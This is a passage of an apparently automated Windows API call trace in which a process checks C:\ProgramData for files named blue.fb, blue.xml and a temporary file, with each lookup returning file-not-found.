lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fbdatawr45w", lpUsedDefaultChar=0x0) returned 7 [0092.027] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.027] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0092.027] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.027] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.027] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.027] GetLastError () returned 0x12 [0092.027] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.028] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0092.028] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0092.028] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.fb", len=0x7 | out: pbstr=0x28ef0c*="blue.fb") returned 1 [0092.028] FindFirstFileW (in: lpFileName="c:\\ProgramData\\blue.fb", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.028] GetLastError () returned 0x2 [0092.028] SysReAllocStringLen (in: pbstr=0x28ef04*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x28ef04*="blue.fb") returned 1 [0092.028] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\blue.fb", len=0x16 | out: pbstr=0x28ef00*="c:\\ProgramData\\blue.fb") returned 1 [0092.028] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.fb", psz="c:\\ProgramData\\blue.fb\\", len=0x17 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.fb\\") returned 1 [0092.028] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\blue.fb\\", len=0x17 | out: pbstr=0x28eefc*="c:\\ProgramData\\blue.fb\\") returned 1 [0092.029] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.fb\\", psz="c:\\ProgramData\\blue.fb", len=0x16 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.fb") returned 1 [0092.029] CharLowerBuffW (in: lpsz="c:\\ProgramData\\blue.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\blue.fb") returned 0x16 [0092.029] SysReAllocStringLen (in: pbstr=0x471e74*=0x0, psz="c:\\programdata\\blue.fb", len=0x16 | out: pbstr=0x471e74*="c:\\programdata\\blue.fb") returned 1 [0092.030] SysReAllocStringLen (in: pbstr=0x471e78*=0x0, psz="c:", len=0x2 | out: pbstr=0x471e78*="c:") returned 1 [0092.030] SysReAllocStringLen (in: pbstr=0x471e98*=0x0, psz="programdata", len=0xb | out: pbstr=0x471e98*="programdata") returned 1 [0092.030] SysReAllocStringLen (in: pbstr=0x471eb8*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471eb8*="blue.fb") returned 1 [0092.030] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.030] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fbdataume1", lpUsedDefaultChar=0x0) returned 7 [0092.030] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\blue.fb") returned 0x16 [0092.030] SysReAllocStringLen (in: pbstr=0x471ec8*=0x0, psz="c:\\programdata\\blue.fb", len=0x16 | out: pbstr=0x471ec8*="c:\\programdata\\blue.fb") returned 1 [0092.031] SysReAllocStringLen (in: pbstr=0x471ecc*=0x0, psz="c:", len=0x2 | out: pbstr=0x471ecc*="c:") returned 1 [0092.031] SysReAllocStringLen (in: pbstr=0x471eec*=0x0, psz="programdata", len=0xb | out: pbstr=0x471eec*="programdata") returned 1 [0092.031] SysReAllocStringLen (in: pbstr=0x471f0c*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471f0c*="blue.fb") returned 1 [0092.031] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.031] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fbdatadatawr45w", lpUsedDefaultChar=0x0) returned 7 [0092.031] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.031] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0092.031] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.031] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.032] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.032] GetLastError () returned 0x12 [0092.032] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.032] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0092.032] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0092.032] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.fb", len=0x7 | out: pbstr=0x28ef0c*="blue.fb") returned 1 [0092.032] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\blue.fb", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.032] GetLastError () returned 0x2 [0092.032] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x28ef00*="blue.fb") returned 1 [0092.032] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\blue.fb", len=0x13 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\blue.fb") returned 1 [0092.032] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.fb", psz="c:\\PROGRA~3\\blue.fb\\", len=0x14 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.fb\\") returned 1 [0092.033] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\blue.fb\\", len=0x14 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\blue.fb\\") returned 1 [0092.033] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.fb\\", psz="c:\\PROGRA~3\\blue.fb", len=0x13 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.fb") returned 1 [0092.033] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\blue.fb", cchLength=0x13 | out: lpsz="c:\\progra~3\\blue.fb") returned 0x13 [0092.033] SysReAllocStringLen (in: pbstr=0x471ec8*=0x0, psz="c:\\progra~3\\blue.fb", len=0x13 | out: pbstr=0x471ec8*="c:\\progra~3\\blue.fb") returned 1 [0092.033] SysReAllocStringLen (in: pbstr=0x471ecc*=0x0, psz="c:", len=0x2 | out: pbstr=0x471ecc*="c:") returned 1 [0092.033] SysReAllocStringLen (in: pbstr=0x471eec*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471eec*="progra~3") returned 1 [0092.034] SysReAllocStringLen (in: pbstr=0x471f0c*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471f0c*="blue.fb") returned 1 [0092.034] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ataume1", lpUsedDefaultChar=0x0) returned 8 [0092.034] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fb3ataume1", lpUsedDefaultChar=0x0) returned 7 [0092.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x471f34, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVBF94F8.TMP⛜vよt☘E\x18") returned 12 [0092.034] CharLowerBuffW (in: lpsz="EVBF94F8.TMP", cchLength=0xc | out: lpsz="evbf94f8.tmp") returned 0xc [0092.034] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0092.034] FindFirstFileW (in: lpFileName="c:\\programdata\\evbf94f8.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A腼uA((")) returned 0xffffffff [0092.035] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.035] SysReAllocStringLen (in: pbstr=0x28f258*="evbf94f8.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.035] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0092.035] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0092.035] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0092.035] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="blue.fb", len=0x7 | out: pbstr=0x28f1cc*="blue.fb") returned 1 [0092.035] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.fb", len=0x2b | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\blue.fb") returned 1 [0092.035] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.fb\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.fb\\") returned 1 [0092.035] SysReAllocStringLen (in: pbstr=0x471db4*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.fb\\", len=0x2c | out: pbstr=0x471db4*="\\device\\harddiskvolume1\\programdata\\blue.fb\\") returned 1 [0092.035] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\blue.fb\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\programdata\\blue.fb\\") returned 0x2c [0092.035] SysReAllocStringLen (in: pbstr=0x471f4c*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.fb\\", len=0x2c | out: pbstr=0x471f4c*="\\device\\harddiskvolume1\\programdata\\blue.fb\\") returned 1 [0092.036] SysReAllocStringLen (in: pbstr=0x471f70*=0x0, psz="device", len=0x6 | out: pbstr=0x471f70*="device") returned 1 [0092.036] SysReAllocStringLen (in: pbstr=0x471f90*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471f90*="harddiskvolume1") returned 1 [0092.036] SysReAllocStringLen (in: pbstr=0x471f9c*=0x0, psz="programdata", len=0xb | out: pbstr=0x471f9c*="programdata") returned 1 [0092.036] SysReAllocStringLen (in: pbstr=0x471fa8*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471fa8*="blue.fb") returned 1 [0092.036] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0092.036] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.036] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.036] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fbdataume1", lpUsedDefaultChar=0x0) returned 7 [0092.036] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.fb\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.037] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0092.037] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0092.037] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0092.037] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="blue.fb", len=0x7 | out: pbstr=0x28f1c0*="blue.fb") returned 1 [0092.037] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.fb", len=0x28 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\blue.fb") returned 1 [0092.037] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.fb\\", len=0x29 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\blue.fb\\") returned 1 [0092.037] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.fb\\", cchLength=0x29 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.fb\\") returned 0x29 [0092.037] SysReAllocStringLen (in: pbstr=0x471fb8*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\blue.fb\\", len=0x29 | out: pbstr=0x471fb8*="\\device\\harddiskvolume1\\progra~3\\blue.fb\\") returned 1 [0092.037] SysReAllocStringLen (in: pbstr=0x471fdc*=0x0, psz="device", len=0x6 | out: pbstr=0x471fdc*="device") returned 1 [0092.037] SysReAllocStringLen (in: pbstr=0x471ffc*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471ffc*="harddiskvolume1") returned 1 [0092.038] SysReAllocStringLen (in: pbstr=0x472008*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472008*="progra~3") returned 1 [0092.038] SysReAllocStringLen (in: pbstr=0x472014*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x472014*="blue.fb") returned 1 [0092.038] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devicebdataume1", lpUsedDefaultChar=0x0) returned 6 [0092.038] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.038] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0092.038] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fb3volume1", lpUsedDefaultChar=0x0) returned 7 [0092.038] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.038] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.038] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.039] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x28f23c*="blue.xml") returned 1 [0092.039] CharLowerBuffW (in: lpsz="blue.xml", cchLength=0x8 | out: lpsz="blue.xml") returned 0x8 [0092.039] SysReAllocStringLen (in: pbstr=0x28f240*="blue.xml", psz="blue.xml", len=0x8 | out: pbstr=0x28f240*="blue.xml") returned 1 [0092.039] SysReAllocStringLen (in: pbstr=0x47206c*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x47206c*="blue.xml") returned 1 [0092.039] SysReAllocStringLen (in: pbstr=0x472070*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x472070*="blue.xml") returned 1 [0092.039] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0092.039] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0092.040] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.xml") returned 0x17 [0092.040] SysReAllocStringLen (in: pbstr=0x472074*=0x0, psz="c:\\programdata\\blue.xml", len=0x17 | out: pbstr=0x472074*="c:\\programdata\\blue.xml") returned 1 [0092.040] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.xml") returned 0x17 [0092.040] SysReAllocStringLen (in: pbstr=0x472150*=0x0, psz="c:\\programdata\\blue.xml", len=0x17 | out: pbstr=0x472150*="c:\\programdata\\blue.xml") returned 1 [0092.040] SysReAllocStringLen (in: pbstr=0x472154*=0x0, psz="c:", len=0x2 | out: pbstr=0x472154*="c:") returned 1 [0092.040] SysReAllocStringLen (in: pbstr=0x472174*=0x0, psz="programdata", len=0xb | out: pbstr=0x472174*="programdata") returned 1 [0092.040] SysReAllocStringLen (in: pbstr=0x472194*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x472194*="blue.xml") returned 1 [0092.040] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.040] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlatawr45w", lpUsedDefaultChar=0x0) returned 8 [0092.041] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.041] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0092.041] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.041] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.041] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.041] GetLastError () returned 0x12 [0092.041] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.041] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0092.041] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0092.041] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.xml", len=0x8 | out: pbstr=0x28ef0c*="blue.xml") returned 1 [0092.041] FindFirstFileW (in: lpFileName="c:\\ProgramData\\blue.xml", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.042] GetLastError () returned 0x2 [0092.042] SysReAllocStringLen (in: pbstr=0x28ef04*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x28ef04*="blue.xml") returned 1 [0092.042] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\blue.xml", len=0x17 | out: pbstr=0x28ef00*="c:\\ProgramData\\blue.xml") returned 1 [0092.042] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.xml", psz="c:\\ProgramData\\blue.xml\\", len=0x18 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.xml\\") returned 1 [0092.042] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\blue.xml\\", len=0x18 | out: pbstr=0x28eefc*="c:\\ProgramData\\blue.xml\\") returned 1 [0092.042] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.xml\\", psz="c:\\ProgramData\\blue.xml", len=0x17 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.xml") returned 1 [0092.043] CharLowerBuffW (in: lpsz="c:\\ProgramData\\blue.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.xml") returned 0x17 [0092.043] SysReAllocStringLen (in: pbstr=0x472150*=0x0, psz="c:\\programdata\\blue.xml", len=0x17 | out: pbstr=0x472150*="c:\\programdata\\blue.xml") returned 1 [0092.043] SysReAllocStringLen (in: pbstr=0x472154*=0x0, psz="c:", len=0x2 | out: pbstr=0x472154*="c:") returned 1 [0092.043] SysReAllocStringLen (in: pbstr=0x472174*=0x0, psz="programdata", len=0xb | out: pbstr=0x472174*="programdata") returned 1 [0092.043] SysReAllocStringLen (in: pbstr=0x472194*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x472194*="blue.xml") returned 1 [0092.043] 